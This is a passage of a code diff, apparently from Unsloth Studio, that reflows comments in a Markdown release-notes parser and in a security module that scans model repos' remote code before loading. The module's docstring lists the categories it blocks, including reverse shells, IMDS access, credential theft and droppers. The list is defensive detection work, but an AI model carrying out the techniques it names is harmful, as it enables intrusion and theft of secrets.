60RELEASE_NOTES_MAX_CHARS = 20_000-# The repo also publishes llama.cpp prebuilts, legacy month tags and desktop drafts; only an-# Unsloth version tag is an announcement the popup should show.-# The prebuilt tags look like `b8475` and the legacy month tags like `February-2026`.+# The repo also publishes llama.cpp prebuilts (`b8475`), legacy month tags (`February-2026`) and desktop drafts; only an Unsloth version tag is an announcement the popup should show._RELEASE_TAG_PATTERN = re.compile(r"^v\d+(?:\.\d+)+")-# CommonMark needs a space, tab or line end after the hashes: a non-breaking space is text, and a-# bare `##` is an empty heading that still ends the section above.+# CommonMark needs a space, tab or line end after the hashes: a non-breaking space is text, and a bare `##` is an empty heading that still ends the section above._HEADING_PATTERN = re.compile(r"^ {0,3}(?P<hashes>#{1,6})(?:[ \t]+(?P<title>.*?))?[ \t]*$")# A heading may close with its own run of hashes, which is not part of the title._CLOSING_SEQUENCE = re.compile(r"(?:^|[ \t])#+[ \t]*$")@@ -58,12 +45,10 @@ _CLOSING_SEQUENCE = re.compile(r"(?:^|[ \t])#+[ \t]*$")_TITLE_MARKUP = re.compile(r"[`*_~]|\[|\]\([^)]*\)|<[^>]*>")_FULL_CHANGELOG_LINE = re.compile(r"^ {0,3}\*{0,2}full changelog\*{0,2}\s*:", re.IGNORECASE)_FENCE_PATTERN = re.compile(r"^ {0,3}(?P<marker>`{3,}|~{3,})(?P<rest>.*)$")-# CommonMark type 1 HTML blocks: literal until a closing tag, which the spec says need not be the-# one that opened the block.+# CommonMark type 1 HTML blocks: literal until a closing tag, which the spec says need not be the one that opened the block._RAW_HTML_OPEN = re.compile(r"^ {0,3}<(pre|script|style|textarea)(?=[\s>]|$)", re.IGNORECASE)_RAW_HTML_CLOSE = re.compile(r"</(pre|script|style|textarea)\s*>", re.IGNORECASE)-# Types 3 to 5 are literal too, each ending on its own delimiter; comments open mid-line, so they-# are handled separately.+# Types 3 to 5 are literal too, each ending on its own delimiter; comments open mid-line, so they are handled separately._RAW_BLOCKS = ((_RAW_HTML_OPEN, _RAW_HTML_CLOSE),(re.compile(r"^ {0,3}<\?"), re.compile(r"\?>")),@@ -71,8 +56,7 @@ _RAW_BLOCKS = (# A declaration needs an uppercase letter, so `<!note` stays ordinary text.(re.compile(r"^ {0,3}<![A-Z]"), re.compile(r">")),)-# Type 6 runs to the next blank line, so `<details>` holds Markdown only after one. Open and close-# tags both start a block.+# Type 6 runs to the next blank line, so `<details>` holds Markdown only after one. Open and close tags both start a block._HTML_BLOCK_OPEN = re.compile(r"^ {0,3}</?([a-zA-Z][a-zA-Z0-9-]*)(?=[\s/>]|$)")# Blocks that break into an open paragraph, closing it rather than continuing it._INTERRUPTS = re.compile(@@ -87,12 +71,10 @@ _SETEXT_UNDERLINE = re.compile(r"^ {0,3}(=+|-+)[ \t]*$")# A quoted paragraph continues on unmarked lines, which belong to the quote._BLOCK_QUOTE = re.compile(r"^ {0,3}>")_QUOTE_MARKER = re.compile(r"^ {0,3}>[ \t]?")-# A heading at an item's content column belongs to that item. The marker needs whitespace after-# it, so `2.0` is a version, not an item.+# A heading at an item's content column belongs to that item. The marker needs whitespace after it, so `2.0` is a version, not an item._LIST_ITEM = re.compile(r"^[ \t]*(?P<marker>[-*+]|\d{1,9}[.)])(?P<space>[ \t]+|$)")_THEMATIC_BREAK = re.compile(r"^ {0,3}(?:(?:\*[ \t]*){3,}|(?:-[ \t]*){3,}|(?:_[ \t]*){3,})$")-# Past this the content after a marker is indented code, so the item's content starts one column-# past the marker instead.+# Past this the content after a marker is indented code, so the item's content starts one column past the marker instead._MAX_ITEM_PADDING = 4_HTML_BLOCK_TAGS = frozenset("""@@ -117,19 +99,16 @@ _COMMENT_CLOSE = "-->"_HIDDEN_BLOCK = "#"_SAFE_VERSION_PATTERN = re.compile(r"^[0-9A-Za-z][0-9A-Za-z.!+-]{0,63}$")-# Sections GitHub or the release workflow generates, matched on the normalised title. Narrow-# rather than a substring sweep: "What changed in Gemma 4" is an announcement one apostrophe away.+# Sections GitHub or the release workflow generates, matched on the normalised title. Narrow rather than a substring sweep: "What changed in Gemma 4" is an announcement one apostrophe away._GENERATED_TITLES = frozenset({"what's changed", "whats changed", "new contributors"})_GENERATED_PREFIXES = ("what's changed in ", "whats changed in ")_GENERATED_SUFFIXES = ("zoo changes", "notebooks changes", "changelog")-# The install block, worded differently in almost every release. Naming Unsloth separates those-# from "Updating models is now 2x faster", which is a change and not instructions.+# The install block, worded differently in almost every release. Naming Unsloth separates those from "Updating models is now 2x faster", which is a change and not instructions._UPGRADE_PREFIXES = ("update", "updating", "to update", "how to update")_UPGRADE_SUBJECTS = ("unsloth", "studio")_UPGRADE_TITLES = frozenset({"update instructions", "install instructions"})_PROVENANCE = "build provenance"-# Platform headings the install block splits its commands across, written as its siblings as often-# as its children, so level alone does not end the block.+# Platform headings the install block splits its commands across, written as its siblings as often as its children, so level alone does not end the block._PLATFORM_SEPARATOR = re.compile(r"\s*[/,]\s*")_PLATFORM_TITLES = frozenset({@@ -202,10 +181,7 @@ def reset_release_notes_cache() -> None:def is_supported_version_query(version: str) -> bool:- """Whether `version` is shaped like a version the popup could be offering.-- The version is echoed back rather than used to select a release, so the UI- can drop a stale response. `latest`, `main` or a path is rejected outright."""+ """Whether `version` is shaped like a version the popup could be offering. The version is echoed back rather than used to select a release, so the UI can drop a stale response. `latest`, `main` or a path is rejected outright."""candidate = version.strip()if not _SAFE_VERSION_PATTERN.match(candidate):return False@@ -213,12 +189,7 @@ def is_supported_version_query(version: str) -> bool:def _markdown_lines(text: str) -> list[str]:- """``text`` split the way CommonMark ends lines.-- str.splitlines also breaks on U+2028, U+2029, NEL, vertical tab and form- feed, none of which end a Markdown line: one in prose would otherwise turn- the text after it into a heading and cut the announcement there.- """+ """``text`` split the way CommonMark ends lines. str.splitlines also breaks on U+2028, U+2029, NEL, vertical tab and form feed, none of which end a Markdown line: one in prose would otherwise turn the text after it into a heading and cut the announcement there."""return text.replace("\r\n", "\n").replace("\r", "\n").split("\n")@@ -229,8 +200,7 @@ class Text:line: str# A document-level `**Full Changelog**: ...` line, which GitHub appends.is_full_changelog: bool = False- # First line of a document-level paragraph: an install block is introduced- # by one as often as by a heading, so this is where such a block can begin.+ # First line of a document-level paragraph: an install block is introduced by one as often as by a heading, so this is where such a block can begin.opens_paragraph: bool = False@@ -240,34 +210,18 @@ class Heading:level: inttitle: str- # The heading's own source lines, in order.lines: tuple[str, ...]- # Lines already emitted as `Text` that turned out to be this heading. Only- # setext retracts: its title is the paragraph above the underline.+ # Lines already emitted as `Text` that turned out to be this heading. Only setext retracts: its title is the paragraph above the underline.retract: int = 0def strip_release_body(text: str) -> str:- """The announcement in a release body, with the generated sections removed.-- Each section is excised where it stands rather than the body being truncated- at the first one: maintainers write the install block second of twelve- sections as often as last, so truncating there loses the rest.-- A section runs to the next heading at its own level or shallower, so its- subheadings go with it. The install block is the exception twice over: its- platform headings (`### Windows:`) are written as siblings as often as- children, so they keep the drop open, and it is introduced by an ordinary- paragraph as often as by a heading. A paragraph has no level, so the block- it opens runs to the next heading that is not a platform heading.- """+ """The announcement in a release body, with the generated sections removed. Each section is excised where it stands rather than the body being truncated at the first one: maintainers write the install block second of twelve sections as often as last, so truncating there loses the rest. A section runs to the next heading at its own level or shallower, so its subheadings go with it. The install block is the exception twice over: its platform headings (`### Windows:`) are written as siblings as often as children, so they keep the drop open, and it is introduced by an ordinary paragraph as often as by a heading. A paragraph has no level, so the block it opens runs to the next heading that is not a platform heading."""kept: list[str] = []- # Level of the boilerplate heading being dropped, and whether it was the- # install block, whose platform siblings go with it.+ # Level of the boilerplate heading being dropped, and whether it was the install block, whose platform siblings go with it.drop_level: int | None = Nonedrop_upgrade = False- # Set instead when a paragraph, which has no level to compare against,- # opened the install block.+ # Set instead when a paragraph, which has no level to compare against, opened the install block.drop_prose = Falsefor event in scan_blocks(text):@@ -283,21 +237,18 @@ def strip_release_body(text: str) -> str:kept.append(event.line)continue- # A setext heading is the paragraph above the underline, already kept- # line by line, so take it back. Inside a drop nothing was kept.+ # A setext heading is the paragraph above the underline, already kept line by line, so take it back. Inside a drop nothing was kept.if event.retract and drop_level is None and not drop_prose:del kept[len(kept) - event.retract :]title = _normalise_title(event.title)if drop_prose:- # Platform headings belong to the block however they were nested;- # any other heading is the announcement resuming.+ # Platform headings belong to the block however they were nested; any other heading is the announcement resuming.if _is_platform(title):continuedrop_prose = Falseelif drop_level is not None:- # A platform heading belongs to the install block however it was- # nested, and a deeper heading is a subheading of the dropped one.+ # A platform heading belongs to the install block however it was nested, and a deeper heading is a subheading of the dropped one.if (drop_upgrade and event.level >= drop_level and _is_platform(title)) or (event.level > drop_level):@@ -317,24 +268,17 @@ def strip_release_body(text: str) -> str:def scan_blocks(text: str):- """Walk `text` as CommonMark blocks, yielding `Text` and `Heading` events.-- Only headings the renderer would show are `Heading`: one inside a fence, a- comment, a raw HTML block or a list item arrives as ordinary text.- """+ """Walk `text` as CommonMark blocks, yielding `Text` and `Heading` events. Only headings the renderer would show are `Heading`: one inside a fence, a comment, a raw HTML block or a list item arrives as ordinary text."""# A Windows editor can leave a BOM on the first line, hiding a heading.text = text.lstrip("")open_fence: str | None = None- # Content column of the list item the open block belongs to, 0 at document- # level: a fence or HTML block is scoped to its container, so the item's end- # closes it. Only one of the three is ever open.+ # Content column of the list item the open block belongs to, 0 at document level: a fence or HTML block is scoped to its container, so the item's end closes it. Only one of the three is ever open.block_column = 0in_comment = Falsein_raw_html: int | None = Nonein_html_block = Falseafter_paragraph = False- # The open paragraph a later underline turns into a heading: as the renderer- # reads it, and as it was written.+ # The open paragraph a later underline turns into a heading: as the renderer reads it, and as it was written.paragraph: list[str] = []paragraph_source: list[str] = []in_quote = False@@ -346,9 +290,7 @@ def scan_blocks(text: str):structural = ""opened_block = Falsein_block = open_fence is not None or in_html_block or in_raw_html is not None or in_comment- # A fence, comment or HTML block inside an item ends with the item, so a- # dedented line closes both, and none of them takes a lazy continuation.- # A raw block or comment there also ends on a blank line the item takes.+ # A fence, comment or HTML block inside an item ends with the item, so a dedented line closes both, and none of them takes a lazy continuation. A raw block or comment there also ends on a blank line the item takes.leaves = (_indent_width(line) < block_columnif line.strip()@@ -362,8 +304,7 @@ def scan_blocks(text: str):block_column = 0# The paragraph it could have continued is block content.after_paragraph = False- # A fence written as an item's first content opens inside it, so an opener- # is read past a marker. Only an opener: fenced content is literal.+ # A fence written as an item's first content opens inside it, so an opener is read past a marker. Only an opener: fenced content is literal.fence_line = line if open_fence else _item_content(line, after_paragraph)# Raw HTML first: its contents are literal, so a fence in it is not one.if in_raw_html is not None:@@ -384,26 +325,21 @@ def scan_blocks(text: str):else:# A block already open owns this line, so it is content.hidden = in_comment or in_raw_html is not None- # A comment is an HTML block too, so it opens inside an item as a- # fence does: the opener is read past a marker on the same line.+ # A comment is an HTML block too, so it opens inside an item as a fence does: the opener is read past a marker on the same line.block_open = (not in_commentand _COMMENT_BLOCK_OPEN.match(_item_content(line, after_paragraph)) is not None)# Commented-out sections are not rendered, so they are not releases.visible, in_comment = _strip_comments(line, in_comment, block_open)- # The marker stays, so the item is still tracked. A comment blanks its- # own line, so the raw line is used: the block renders as nothing, but- # the item it is content of still opens.+ # The marker stays, so the item is still tracked. A comment blanks its own line, so the raw line is used: the block renders as nothing, but the item it is content of still opens.source = line if block_open else visiblecontent = _item_content(source, after_paragraph)marker = source[: len(source) - len(content)]# Nor is anything inside a raw HTML block such as <pre>.stripped, in_raw_html = _strip_raw_html(content, in_raw_html)opened_block = in_raw_html is not None or (block_open and in_comment)- # Taken before the opener is hidden: it renders nothing, but its indent- # still closes items left of it and a marker on its line still opens- # one. Only those survive; what it hides is not Markdown.+ # Taken before the opener is hidden: it renders nothing, but its indent still closes items left of it and a marker on its line still opens one. Only those survive; what it hides is not Markdown.if block_open or stripped != content:if not hidden:structural = _hidden_structure(line, marker)@@ -431,8 +367,7 @@ def scan_blocks(text: str):and not lists.columns)if setext:- # The whole paragraph is the heading, already emitted line by line,- # so the caller takes those lines back. Dashes mean level 2.+ # The whole paragraph is the heading, already emitted line by line, so the caller takes those lines back. Dashes mean level 2.yield Heading(level = 2,title = " ".join(paragraph),@@ -446,8 +381,7 @@ def scan_blocks(text: str):# A dashed underline is not a list marker, so track lists after setext.lazy_marker = _lazy_marker(structural, lists, after_paragraph, quoted)lists = _open_lists(structural, lists, after_paragraph, quoted)- # Taken after the opener closed the items it is dedented out of, so the- # block belongs to the item it is really written inside.+ # Taken after the opener closed the items it is dedented out of, so the block belongs to the item it is really written inside.if opened_block:block_column = lists.columns[-1] if lists.columns else 0elif open_fence is None and not in_html_block and in_raw_html is None and not in_comment:@@ -455,16 +389,14 @@ def scan_blocks(text: str):# At an open item's content column a heading is nested, not a boundary.if lists.columns and _indent_width(visible) >= lists.columns[0]:match = None- # The line at its own nesting level, past the container's indentation and- # any marker, so `- ## 2.0` reads as a heading.+ # The line at its own nesting level, past the container's indentation and any marker, so `- ## 2.0` reads as a heading.column = lists.columns[-1] if lists.columns else 0content = _strip_indent(visible, column)if (item := _LIST_ITEM.match(content)) is not None:content = content[item.end() :]# Indented code is four spaces past the container, not past the margin.indented_code = not after_paragraph and _indent_width(visible) - column >= 4- # An underline needs a paragraph open in its own container: a quote owns- # its own, and a row left of an open item is lazy text of that item.+ # An underline needs a paragraph open in its own container: a quote owns its own, and a row left of an open item is lazy text of that item.underline = (_SETEXT_UNDERLINE.match(visible) is not Noneand after_paragraph@@ -472,8 +404,7 @@ def scan_blocks(text: str):and _indent_width(visible) >= column)after_paragraph = (- # Read inside its container, so an empty item or a fence written as its- # content leaves no paragraph. A swallowed marker is text, not an item.+ # Read inside its container, so an empty item or a fence written as its content leaves no paragraph. A swallowed marker is text, not an item.(bool(content.strip()) or lazy_marker)and match is Noneand _HEADING_PATTERN.match(content) is None@@ -494,11 +425,9 @@ def scan_blocks(text: str):if quote_line:# A quote line leaves only the quote's own paragraph open, if any.after_paragraph = in_quote- # Whose paragraph the line below continues: a quote owns its own, so a- # marker outside the quote opens a block rather than continuing it.+ # Whose paragraph the line below continues: a quote owns its own, so a marker outside the quote opens a block rather than continuing it.quoted = quote_line or in_quote- # The lines a later underline turns into one heading: a paragraph opens- # on plain text and runs until something interrupts it.+ # The lines a later underline turns into one heading: a paragraph opens on plain text and runs until something interrupts it.continues = (not _interrupts_paragraph(flush_left)if paragraph@@ -506,7 +435,6 @@ def scan_blocks(text: str):)# Only a document-level paragraph can become a setext heading.in_paragraph = after_paragraph and not in_quote and not lists.columns and continues- # Nothing is accumulated yet, so this line is the paragraph's first.opens_paragraph = in_paragraph and not paragraphif in_paragraph:paragraph = [*paragraph, visible.strip()]@@ -524,8 +452,7 @@ def scan_blocks(text: str):)continue- # An empty heading ends the section above and, being neither generated nor- # an upgrade block, starts a kept one.+ # An empty heading ends the section above and, being neither generated nor an upgrade block, starts a kept one.yield Heading(level = len(match.group("hashes")),title = match.group("title") or "",@@ -561,24 +488,12 @@ def _is_upgrade(title: str) -> bool:def _is_platform(title: str) -> bool:- """Whether `title` is one of the install block's per-platform headings.-- The platforms are separated by a slash as readily as by a comma, spaced or- not, so the separators are read as one thing.- """+ """Whether `title` is one of the install block's per-platform headings. The platforms are separated by a slash as readily as by a comma, spaced or not, so the separators are read as one thing."""return _PLATFORM_SEPARATOR.sub(", ", title).strip(" ,") in _PLATFORM_TITLESdef get_release_notes(version: str, refresh: bool = False) -> dict[str, Any]:- """Return the newest release's notes for the update popup.-- `version` is echoed back, not used to select a release: the pip popup offers- a PyPI version (`2026.8.7`) and releases are tagged with the Unsloth version- (`v0.1.60-beta`), so no tag could match it.-- `refresh` retries a cached failure, so the UI's retry is not stuck behind- the failure TTL once connectivity returns.- """+ """Return the newest release's notes for the update popup. `version` is echoed back, not used to select a release: the pip popup offers a PyPI version (`2026.8.7`) and releases are tagged with the Unsloth version (`v0.1.60-beta`), so no tag could match it. `refresh` retries a cached failure, so the UI's retry is not stuck behind the failure TTL once connectivity returns."""version = version.strip()if not is_supported_version_query(version):return _notes_response(version = version, error = "Unsupported version.")@@ -606,15 +521,13 @@ def get_latest_release(refresh: bool = False) -> ReleaseSource:global _remote_cache, _remote_fetchingif refresh:- # Only a cached failure is dropped, never a rate-limit lockout: retrying into one spends nothing- # and only delays the reset.+ # Only a cached failure is dropped, never a rate-limit lockout: retrying into one spends nothing and only delays the reset.with _cache_condition:rate_limited = _rate_limited_until > time.time()if _remote_cache and _remote_cache.source.release is None and not rate_limited:_remote_cache = None- # A caller waits only as long as a fetch may take, then answers without notes rather than- # holding a worker behind a stalled upstream.+ # A caller waits only as long as a fetch may take, then answers without notes rather than holding a worker behind a stalled upstream.deadline = time.monotonic() + RELEASES_TIMEOUT_SECONDS + 1while True:now = time.monotonic()@@ -768,9 +681,7 @@ def _http_error_source(error: urllib.error.HTTPError) -> tuple[ReleaseSource, flif error.code in (403, 429):now = time.time()- # GitHub's order: Retry-After, which is how a secondary limit states its- # wait, then the primary limit's reset, then a plain back-off. Every one- # records a deadline, or Retry requests straight back into the limit.+ # GitHub's order: Retry-After, which is how a secondary limit states its wait, then the primary limit's reset, then a plain back-off. Every one records a deadline, or Retry requests straight back into the limit.after = _epoch_header(error.headers.get("Retry-After"))reset = (_epoch_header(error.headers.get("X-RateLimit-Reset"))@@ -783,9 +694,7 @@ def _http_error_source(error: urllib.error.HTTPError) -> tuple[ReleaseSource, fldeadline = resetelse:deadline = now + RELEASES_RATE_LIMITED_TTL_SECONDS- # The deadline itself is bounded, not just the first wait on it: the next- # fetch answers from it, so capping only the TTL left a skewed header- # parking the popup for as long as it liked.+ # The deadline itself is bounded, not just the first wait on it: the next fetch answers from it, so capping only the TTL left a skewed header parking the popup for as long as it liked._rate_limited_until = min(deadline, now + RELEASES_RATE_LIMIT_MAX_SECONDS)ttl = max(_rate_limited_until - now, 0.0)return (@@ -811,11 +720,7 @@ def _epoch_header(value: str | None) -> float | None:def select_release(payload: Any) -> Release | None:- """The newest published release in a GitHub releases response.-- Ordered by publication, never by tag: `v0.1.60-beta` was published after- `v0.1.527-beta`, so sorting the tags numerically picks the wrong one.- """+ """The newest published release in a GitHub releases response. Ordered by publication, never by tag: `v0.1.60-beta` was published after `v0.1.527-beta`, so sorting the tags numerically picks the wrong one."""if not isinstance(payload, list):return None@@ -859,13 +764,7 @@ def _opens_fence(marker: str, rest: str) -> bool:def _next_fence_state(open_fence: str | None, marker: str, rest: str) -> str | None:- """Track the open fence marker.-- A closer must be the same character, at least as long, and carry nothing- after it. So neither a ``` sample nor a ```` line with trailing text ends- a ```` block early, while an opening fence may still have an info string.- Only spaces and tabs count as nothing: other Unicode whitespace is content.- """+ """Track the open fence marker. A closer must be the same character, at least as long, and carry nothing after it, so neither a ``` sample nor a ```` line with trailing text ends a ```` block early, while an opening fence may still have an info string. Only spaces and tabs count as nothing: other Unicode whitespace is content."""if open_fence is None:return marker if _opens_fence(marker, rest) else Nonecloses = marker[0] == open_fence[0] and len(marker) >= len(open_fence)@@ -876,8 +775,7 @@ def _next_fence_state(open_fence: str | None, marker: str, rest: str) -> str | Ndef _code_span_ranges(line: str) -> list[tuple[int, int]]:"""Code span bounds. A run of backticks closes only on a run of its length."""- # Collected once: rescanning per opener is quadratic on a line of distinct- # unmatched runs, and notes are reparsed on every request.+ # Collected once: rescanning per opener is quadratic on a line of distinct unmatched runs, and notes are reparsed on every request.runs: list[tuple[int, int]] = []index = 0while index < len(line):@@ -929,30 +827,20 @@ def _is_escaped(line: str, index: int) -> bool:def _strip_comments(line: str, in_comment: bool, block_open: bool) -> tuple[str, bool]:- """Return the line with HTML-comment spans removed, and the trailing state.-- Only a comment that starts a line opens a block. One written mid-sentence is- inline HTML and hides the rest of its own line at most, so a note mentioning- `<!--` cannot swallow later releases, and a delimiter in inline code hides- nothing. "Starts a line" is read inside the container, so the caller decides- `block_open` from the item's content.- """+ """Return the line with HTML-comment spans removed, and the trailing state. Only a comment that starts a line opens a block: one written mid-sentence is inline HTML and hides the rest of its own line at most, so a note mentioning `<!--` cannot swallow later releases, and a delimiter in inline code hides nothing. "Starts a line" is read inside the container, so the caller decides `block_open` from the item's content."""if in_comment:close = line.find(_COMMENT_CLOSE)# The closing line belongs to the block, tail included.return ("", False) if close != -1 else ("", True)if block_open:- # `<!-->` and `<!--->` are complete comments, so the closer may overlap- # the opener; searching past it would swallow every later release.+ # `<!-->` and `<!--->` are complete comments, so the closer may overlap the opener; searching past it would swallow every later release.return ("", _COMMENT_CLOSE not in line)visible: list[str] = []index = 0spans = _code_span_ranges(line)- # Spans are ordered and disjoint and openers only move forward, so the search- # resumes rather than restarts: restarting per opener is quadratic, and a long- # line of code spans is reparsed on every request.+ # Spans are ordered and disjoint and openers only move forward, so the search resumes rather than restarts: restarting per opener is quadratic, and a long line of code spans is reparsed on every request.cursor = 0while index < len(line):opening = line.find(_COMMENT_OPEN, index)@@ -977,12 +865,7 @@ def _strip_comments(line: str, in_comment: bool, block_open: bool) -> tuple[str,def _hidden_structure(line: str, marker: str = "") -> str:- """`line` as list tracking sees it once the renderer hides its text.-- The block renders nothing but still sits at its own column, so it closes the- items to its left. Only the indentation survives: its contents are not- Markdown. `marker` is the part of the line opening the item it is content- of, which survives with it."""+ """`line` as list tracking sees it once the renderer hides its text. The block renders nothing but still sits at its own column, so it closes the items to its left; only the indentation survives, since its contents are not Markdown. `marker` is the part of the line opening the item it is content of, which survives with it."""if marker:return marker + _HIDDEN_BLOCKif not line.strip():@@ -1014,10 +897,7 @@ def _strip_indent(line: str, columns: int) -> str:def _interrupts_paragraph(line: str) -> bool:- """Whether `line` starts a block that can break into an open paragraph.-- A quote marker always can. A list item only when it has content, and an- ordered one only when it starts at 1; anything else is paragraph text."""+ """Whether `line` starts a block that can break into an open paragraph. A quote marker always can. A list item only when it has content, and an ordered one only when it starts at 1; anything else is paragraph text."""if _BLOCK_QUOTE.match(line):return Trueitem = None if _THEMATIC_BREAK.match(line) else _LIST_ITEM.match(line)@@ -1030,14 +910,7 @@ def _interrupts_paragraph(line: str) -> bool:def _item_content(line: str, after_paragraph: bool) -> str:- """`line` read from the content column of a list item that opens on it.-- A block written as an item's first content sits inside that item, so- ``- ```` opens a fence. The padding is capped as `_open_lists` caps it, or- ``- ```` would read as a fence rather than the indented code it is. A- swallowed marker opens no item, so its line is returned whole, as is one- four columns past its container. Ported to the frontend as `itemContent`- in markdown-list-columns.ts."""+ """`line` read from the content column of a list item that opens on it. A block written as an item's first content sits inside that item, so ``- ```` opens a fence. The padding is capped as `_open_lists` caps it, or ``- ```` would read as a fence rather than the indented code it is. A swallowed marker opens no item, so its line is returned whole, as is one four columns past its container. Ported to the frontend as `itemContent` in markdown-list-columns.ts."""if _indent_width(line) >= 4 or (after_paragraph and not _interrupts_paragraph(line)):return lineitem = None if _THEMATIC_BREAK.match(line) else _LIST_ITEM.match(line)@@ -1057,12 +930,7 @@ def _quote_content(line: str) -> str:def _may_be_lazy(line: str) -> bool:- """Whether `line` can continue a paragraph it is indented out of.-- Only plain text can: a heading, fence, break or HTML block closes the item- instead. An underline may never be lazy, so `===` left of an open item is- more of the item's paragraph, and nor may a definition interrupt one. Three- dashes still close the item, as `_INTERRUPTS` reads them as a break."""+ """Whether `line` can continue a paragraph it is indented out of. Only plain text can: a heading, fence, break or HTML block closes the item instead. An underline may never be lazy, so `===` left of an open item is more of the item's paragraph, and nor may a definition interrupt one. Three dashes still close the item, as `_INTERRUPTS` reads them as a break."""return (_PARAGRAPH_TEXT.match(line) is not Noneand _INTERRUPTS.match(line) is None@@ -1073,11 +941,7 @@ def _may_be_lazy(line: str) -> bool:def _continues_paragraph(line: str, column: int) -> bool:- """Whether `line` reads as more of a paragraph open in its container.-- Measured from `column`, where the container's content starts: four columns- past it the line is indented code, which may not interrupt a paragraph, so- indentation alone never closes the one above it."""+ """Whether `line` reads as more of a paragraph open in its container. Measured from `column`, where the container's content starts: four columns past it the line is indented code, which may not interrupt a paragraph, so indentation alone never closes the one above it."""inner = _strip_indent(line, column)return _indent_width(inner) >= 4 or _may_be_lazy(inner)@@ -1085,10 +949,7 @@ def _continues_paragraph(line: str, column: int) -> bool:def _close_dedented(columns: tuple[int, ...], line: str, indent: int, after_paragraph: bool) -> tuple[int, ...]:- """`columns` with every item `line` is written to the left of closed.-- Read inside the container, not from the margin: lazy text of the item's own- paragraph leaves the item open rather than closing it."""+ """`columns` with every item `line` is written to the left of closed. Read inside the container, not from the margin: lazy text of the item's own paragraph leaves the item open rather than closing it."""while columns and indent < columns[-1]:outer = columns[-2] if len(columns) > 1 else 0if after_paragraph and _continues_paragraph(line, outer):@@ -1098,11 +959,7 @@ def _close_dedented(def _lazy_marker(line: str, state: _ListState, after_paragraph: bool, quoted: bool) -> bool:- """Whether a marker-shaped `line` is really text of the paragraph above it.-- Only a marker inside the paragraph's own item interrupts it; one to the left- closes that item. A quote owns its paragraph, so a marker written outside- the quote opens a list of its own."""+ """Whether a marker-shaped `line` is really text of the paragraph above it. Only a marker inside the paragraph's own item interrupts it; one to the left closes that item. A quote owns its paragraph, so a marker written outside the quote opens a list of its own."""item = None if _THEMATIC_BREAK.match(line) else _LIST_ITEM.match(line)columns = state.columnsreturn (@@ -1120,12 +977,7 @@ def _open_lists(after_paragraph: bool,quoted: bool = False,) -> _ListState:- """The list items still open after `line`.-- A dedented line closes an item unless it is a lazy paragraph continuation.- A new marker nests deeper and replaces a sibling. `quoted` marks a paragraph- the quote above owns, so a marker outside the quote opens a list of its own.- """+ """The list items still open after `line`. A dedented line closes an item unless it is a lazy paragraph continuation. A new marker nests deeper and replaces a sibling. `quoted` marks a paragraph the quote above owns, so a marker outside the quote opens a list of its own."""columns = state.columnsif not line.strip():# An item may begin with one blank line; later content is outside it.@@ -1137,8 +989,7 @@ def _open_lists(# A lazy continuation or an underline, so the open items are untouched.return statecolumns = _close_dedented(columns, line, indent, after_paragraph)- # Four columns past its container the marker is code, or lazy text, so it- # opens no list of its own.+ # Four columns past its container the marker is code, or lazy text, so it opens no list of its own.if item is None or indent - (columns[-1] if columns else 0) >= 4:return _ListState(columns)marker = item.group("marker")@@ -1160,9 +1011,7 @@ def _opens_html_block(line: str, after_paragraph: bool) -> bool:def _strip_raw_html(line: str, open_block: int | None) -> tuple[str, int | None]:- """Drop the parts of a line inside a raw block, and return the open block.-- The state is the index of the open block in `_RAW_BLOCKS`, or None."""+ """Drop the parts of a line inside a raw block, and return the open block. The state is the index of the open block in `_RAW_BLOCKS`, or None."""if open_block is not None:close = _RAW_BLOCKS[open_block][1].search(line)return ("", None) if close else ("", open_block)@@ -1203,8 +1052,7 @@ def _renders_visibly(markdown: str) -> bool:if not in_comment and (_FENCE_PATTERN.match(line) or opens_raw):# A code block or raw HTML block renders even when it is empty.return True- # No containers are tracked, so the opener is read at the margin. It does- # not matter: an item renders its marker whatever the block inside hides.+ # No containers are tracked, so the opener is read at the margin. It does not matter: an item renders its marker whatever the block inside hides.visible, in_comment = _strip_comments(line, in_comment, _COMMENT_BLOCK_OPEN.match(line) is not None)diff --git a/studio/backend/utils/security/consent.py b/studio/backend/utils/security/consent.pyindex ee5e3874bc4..16cd3d29400 100644--- a/studio/backend/utils/security/consent.py+++ b/studio/backend/utils/security/consent.py@@ -3,22 +3,9 @@"""Consent gate for loads that would execute model repo code.-The LOAD-path counterpart to the capability probes (which read raw config and-never need remote code). A deliberate load calls ``evaluate_remote_code_consent``-right before passing ``trust_remote_code=True``, and decides by the severity of a-static scan of the repo's ``auto_map`` ``.py``:--* No ``auto_map`` in any config (model/tokenizer/processor) -> nothing runs; allow.-* CRITICAL (reverse shell, IMDS, credential theft, droppers) -> hard block, never- approvable, even first-party (defends a compromised trusted repo).-* HIGH/MEDIUM (subprocess/exec/eval/network/b64decode, or a large embedded blob) ->- block but user-approvable: the dialog pins approval to the scanned ``fingerprint``.- Applies to EVERY repo; first-party is not a blanket bypass.-* ``auto_map`` present but unscannable (gated/offline/listing failure) -> fail- closed: hard block, since we cannot verify or fingerprint unseen code.--Hardening + consent, not a sandbox: static patterns are evadable, so subprocess /-venv isolation remains the containment layer.+The LOAD-path counterpart to the capability probes (which read raw config and never need remote code). A deliberate load calls ``evaluate_remote_code_consent`` right before passing ``trust_remote_code=True``, and decides by the severity of a static scan of the repo's ``auto_map`` ``.py``: no ``auto_map`` in any config (model/tokenizer/processor) means nothing runs, so allow; CRITICAL (reverse shell, IMDS, credential theft, droppers) is a hard block, never approvable even first-party, defending a compromised trusted repo; HIGH/MEDIUM (subprocess/exec/eval/network/b64decode, or a large embedded blob) blocks but is user-approvable, with the dialog pinning approval to the scanned ``fingerprint``, for EVERY repo since first-party is not a blanket bypass; an ``auto_map`` present but unscannable (gated/offline/listing failure) fails closed as a hard block, since unseen code cannot be verified or fingerprinted.++Hardening plus consent, not a sandbox: static patterns are evadable, so subprocess / venv isolation remains the containment layer."""from dataclasses import dataclass, field@@ -55,10 +42,7 @@ class RemoteCodeDecision:approvable: bool = True # False only for CRITICAL (user cannot override)def response_payload(self) -> dict:- """Machine-readable detail for the frontend. ``error_kind`` splits a- user-approvable prompt (``remote_code_consent_required``) from a CRITICAL hard- block (``remote_code_blocked``).- """+ """Machine-readable detail for the frontend. ``error_kind`` splits a user-approvable prompt (``remote_code_consent_required``) from a CRITICAL hard block (``remote_code_blocked``)."""return {"error_kind": ("remote_code_consent_required" if self.approvable else "remote_code_blocked"@@ -80,19 +64,11 @@ def _config_has_auto_map(*,load_subdirs = (),) -> Optional[bool]:- """Whether any config (model/tokenizer/processor) declares an ``auto_map`` the load- would execute. Reads raw JSON with ``hf_token``; returns None when a config is- unreadable (transient/auth) so the caller treats it as "unknown" and scans, False- when the repo genuinely ships none.-- GGUF-inertness is the 